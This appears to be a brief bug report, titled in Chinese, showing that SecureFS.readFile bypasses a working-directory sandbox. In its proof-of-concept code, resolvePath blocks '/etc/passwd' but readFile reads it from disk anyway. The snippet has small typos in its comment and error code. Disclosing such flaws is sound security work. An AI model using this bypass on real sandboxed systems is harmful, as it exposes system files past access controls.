SecureFS.readFile 绕过了 --working-dir / --no-insecure-file-read 环境

const SecureFS = require('./lib/run/secure-fs'); const fs = new SecureFS('/tmp/some-safe-working-dir', /insecureFileRead/ false);

fs.resolvePath('/etc/passwd', (err) => { console.log(err.message); // PPERM: insecure file access outside working directory (correctly blocked) });

fs.readFile('/etc/passwd', (err, data) => { console.log(err); // null console.log(data.length); // file contents read straight off disk, sandbox bypassed entirely });